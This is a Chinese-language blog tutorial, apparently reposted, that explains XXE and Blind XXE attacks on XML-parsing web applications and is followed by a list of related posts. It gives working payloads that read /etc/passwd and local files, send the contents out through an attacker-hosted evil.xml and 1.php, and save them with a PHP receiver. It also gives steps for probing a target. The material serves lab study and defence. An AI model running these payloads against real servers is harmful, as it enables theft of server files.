1. 程式人生 > >XXE漏洞以及Blind XXE總結

XXE漏洞以及Blind XXE總結



0、前言

XXE漏洞是針對使用XML互動的Web應用程式的攻擊方法,在XEE漏洞的基礎上,發展出了Blind XXE漏洞。目前來看,XML檔案作為配置檔案(SpringStruts2等)、文件結構說明檔案(PDFRSS等)、圖片格式檔案(SVG header)應用比較廣泛,此外,網上有一些線上XML格式化工具也存在過問題,如開源中國的線上XML格式化工具XXE漏洞:

http://www.wooyun.org/bugs/wooyun-2010-059911。還有一些郵箱預覽功能也存在問題, 如網易郵箱doc檔案預覽:

http://www.wooyun.org/bugs/wooyun-2010-073321。下面是我結合參考文獻(最後一節有宣告)來研究的成果,意在疏通漏洞的原理,瞭解利用的細節。

1、Blind XXE用途

對於傳統的XXE來說,要求有一點,就是攻擊者只有在伺服器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取伺服器端檔案。例如:

提交請求:

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>

伺服器在這個節點中返回etc/passwd的檔案內容:

<username>root:1:3.......</username>

如果伺服器沒有回顯,只能使用Blind XXE漏洞來構建一條帶外通道提取資料。

2、引數實體和內部引數實體

Blink XXE主要使用了DTD約束中的引數實體和內部實體。

引數實體是一種只能在DTD中定義和使用的實體,一般引用時使用%作為字首。而內部實體是指在一個實體中定義的另一個實體,也就是巢狀定義。

如:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

但是在我研究過程中,發現內部實體的這支援與否也是取決於直譯器的。

IE/Firefox

Chrome:

這也是比較蛋疼的特性,因為phpjavaC#等語言的內建XML解析器都是有一定差別的,也就給漏洞利用帶來不便。

3Blind XXE原理

帶外資料通道的建立是使用巢狀形式,利用外部實體中的URL發出訪問,從而跟攻擊者的伺服器發生聯絡。

直接在內部實體定義中引用另一個實體的方法如下,但是這種方法行不通。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

於是考慮內部實體巢狀的形式:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>

但是這樣做行不通,原因是不能在實體定義中引用引數實體,即有些直譯器不允許在內層實體中使用外部連線,無論內層是一般實體還是引數實體。


解決方案是:

將巢狀的實體宣告放入到一個外部檔案中,這裡一般是放在攻擊者的伺服器上,這樣做可以規避錯誤。

如下:

source file

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

evil.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

實體remoteallsend的引用順序很重要,首先對remote引用目的是將外部檔案evil.xml引入到解釋上下文中,然後執行%all,這時會檢測到send實體,在root節點中引用send,就可以成功實現資料轉發。當然,也直接在DTD中引用send實體,如果在evil.xml中,send是個引數實體的話,即以下方式:

source file

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
 %all;
%send;
]>

evil.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

7、測試

1.php

<?php
file_put_contents("1.txt", $_GET['file']) ;
?>

test.php

<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/passwd.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
	%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>

evil.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

訪問http://localhost/test.php, 這就是模擬攻擊者構造XXE請求,然後存在漏洞的伺服器會讀出file的內容(c:/1.txt),通過帶外通道傳送給攻擊者伺服器上的1.php1.php做的事情就是把讀取的資料儲存到本地的1.txt中,完成Blind XXE攻擊。



攻擊之後1.txt中的資料:



攻擊者伺服器日誌:


8、總結

遇到XML相關的互動過程,以如下步驟判斷是否存在漏洞:

1)檢測XML是否會被解析:

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY shit “this is shit”>

]>

<root>&shit;</root>

如果$shit;變成了this is shit,那就繼續第二步。

(2)檢測伺服器是否支援外部實體:

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

%shit;

]>

通過檢視自己伺服器上的日誌來判斷,看目標伺服器是否向你的伺服器發了一條請求evil.xmlHTTP request

(3)如果上面兩步都支援,那麼就看能否回顯。如果能回顯,就可以直接使用外部實體的方式進行攻擊。當然有時候伺服器會不支援一般實體的引用,也就是在DTD之外無法引用實體,如果這樣的話,只能使用Blind XXE攻擊。

(4)如果不能回顯,毫無疑問,使用Blind XXE攻擊方法。

另外,這是寒假期間寫的東西,難免會有些錯誤和理解不到位的地方,歡迎討論與指正。

9、參考文獻

[1] http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

[2] http://security.tencent.com/index.php/blog/msg/69

[3] bh-eu-13-XML-data-osipov-wp.pdf

[4] XML_Exteral_Entity_Attack.pdf

[5] http://www.91ri.org/9539.html

轉載請註明出處:http://blog.csdn.net/u011721501



相關推薦

XXE漏洞以及Blind XXE總結

 0、前言 XXE漏洞是針對使用XML互動的Web應用程式的攻擊方法,在XEE漏洞的基礎上,發展出了Blind XXE漏洞。目前來看,XML檔案作為配置檔案(Spring、Struts2等)、文

XXE漏洞Blind XXE練習

如果有問題請您指正。 XML基礎 xml 是 可擴充套件標記語言(EXtensible Markup Language)的縮寫。它與HTML類似同為w3c推薦標準,但是比HTML要嚴謹。因為它

xxe漏洞的學習與利用總結

前言 對於xxe漏洞的認識一直都不是很清楚,而在我為期不長的挖洞生涯中也沒有遇到過,所以就想著總結一下,撰寫此文以作為記錄,加深自己對xxe漏洞的認識。 xml基礎知識 要了解xxe漏洞,那麼一定得先明白基礎知識,瞭解xml文件的基礎組成。 XML用於標記電子檔案使

XXE漏洞攻防

內部 ref 一個 refused expec ebs 不同 c程序 data 一、XML基礎知識 XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定

XXE漏洞

www 利用 ram simplex images file port note 加載xml文件 簡介 XXE (XML External Entity Injection) 漏洞發生在應用程序解析 XML 輸入時,沒有禁止外部實體的加載。 簡單的理解,一個實體就是一個

聽補天漏洞審核專家實戰講解XXE漏洞

實戰 加載 origin 課程 ext 小天 分享 java版 inline 對於將“挖洞”作為施展自身才幹、展現自身價值方式的白 帽 子來說,聽漏洞審核專家講如何挖掘並驗證漏洞,絕對不失為一種快速的成長方式! XXE Injection(XML External Enti

XXE漏洞攻擊與防禦

swe factor 參數 tor 類別 bash pin tps start 轉自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基礎 在聊XXE之前,先說說相關的XML知識吧。 定義 XML用於標記電子文件使其具有結

實戰講解XXE漏洞的利用與防禦策略

gcd oam copyright 解析xml MQ 包括 實驗 將他 Coding 現在許多不同的客戶端技術都可以使用XMl向業務應用程序發送消息,為了使應用程序使用自定義的XML消息,應用程序必須先去解析XML文檔,並且檢查XML格式是否正確。當解析器允許XML外部實體

blind-XXE的幾個細節

div blog lex inf enc any mage oop 添加 在libxml>=2.9.0以後的版本默認不開啟外部實體解析,需要添加參數開啟 <?php $xml = <<<EOF <?xml version="1.

xxe漏洞

讀取 doc burpsuit AD 不能 inf use 實驗 log xxe漏洞就是能直接在請求裏可以引用一個實體,然後造成讀文件,只需要懂這個基本攻擊原理就行 先了解什麽是xxe xml外部實體註入簡稱xxe,註入的什麽呢 一段xml代碼 就是一個請求裏 可

[Web安全] XXE漏洞攻防學習(中)

div ESS passwd rem __name__ uri header requests 情況下 0x00、XXE漏洞攻擊實例 攻擊思路: 1. 引用外部實體遠程文件讀取 2. Blind XXE 3. Dos 0x01、外部實體引用,有回顯 實驗操作平臺:bWA

微信支付SDK存在XXE漏洞

ssl hub host lse 格式 hash 商品 ext utf-8 微信支付SDK存在XXE漏洞 漏洞信息來源:http://seclists.org/fulldisclosure/2018/Jul/3https://xz.aliyun.com/t/2426 0x0

淺談XXE漏洞攻擊與防禦——本質上就是注入,盜取資料用

淺談XXE漏洞攻擊與防禦 from:https://thief.one/2017/06/20/1/ XML基礎 在介紹xxe漏洞前,先學習溫顧一下XML的基礎知識。XML被設計為傳輸和儲存資料,其焦點是資料的內容,其把資料從HTML分離,是獨立於軟體和硬體的資訊傳輸工具。 XML文件結

微信支付XXE漏洞修復解決辦法

@tz 根據微信官方回覆訊息: 1、您更新的只是官方SDK的部分程式碼,沒有完全更新,或者在SDK外還使用了XML的解析沒有防XXE 2、您可能有多個回撥地址,而你只修復了其中一個 3、您可能有多個伺服器,你只發布了其中一臺或者修改了沒有正式釋出 4、實際做xml解析的不

微信支付XXE漏洞

1.場景還原    近日,微信發來警告通知,告知平臺微信支付可能存在XXE(外部實體注入漏洞),筆者根據微信官方技術文件及時修復了該漏洞,分享出來希望能夠對大夥有所幫助 2.原因分析   所謂的外部實體注入漏洞,主要是在xml轉map的時候處理不得當造成的,所以接下來的

xxe漏洞深度剖析

這個漏洞也叫xml實體注入,原因是沒有對我們的輸入進行嚴格的過濾 這個注入不像我們的sql注入一樣可以得到資料庫等等之類的,這個漏洞我們可以利用定義的外部實體來讀取etc/passwd等內容 payload <?xml version = "1.0"?> <!DOC

xxe漏洞學習(2)

payload1內容 就是講下面的內容傳送給存在xxe漏洞的web主機,遠端web主機就會訪問我們的vbs主機中的test.xml檔案,並執行。 test.xml內容 payload2 payload2會訪問web伺服器上的etc資料夾下面的passwd檔案,將訪問的結果賦值給

SpringMVC中的XXE漏洞測試

SpringMVC框架支援XML到Object的對映,內部是使用兩個全域性介面Marshaller和Unmarshaller,一種實現是使用Jaxb2Marshaller類進行實現,該類自然實現了兩個

微信支付XXE漏洞修復

1.場景還原   近日,微信發來警告通知,告知平臺微信支付可能存在XXE(外部實體注入漏洞),筆者根據微信官方技術文件及時修復了該漏洞,分享出來希望能夠對大夥有所幫助2.原因分析  所謂的外部實體注入漏洞,主要是在xml轉map的時候處理不得當造成的,所以接下來的修復工作主要

1016.XXE漏洞攻防學習

inf 方式 簡單 有關 xml解析 open factor 登錄 觸發 前言 對於xxe漏洞的認識一直都不是很清楚,而在我為期不長的挖洞生涯中也沒有遇到過,所以就想著總結一下,撰寫此文以作為記錄,加深自己對xxe漏洞的認識。 xml基礎知識 要了解xxe漏洞,那麽一定得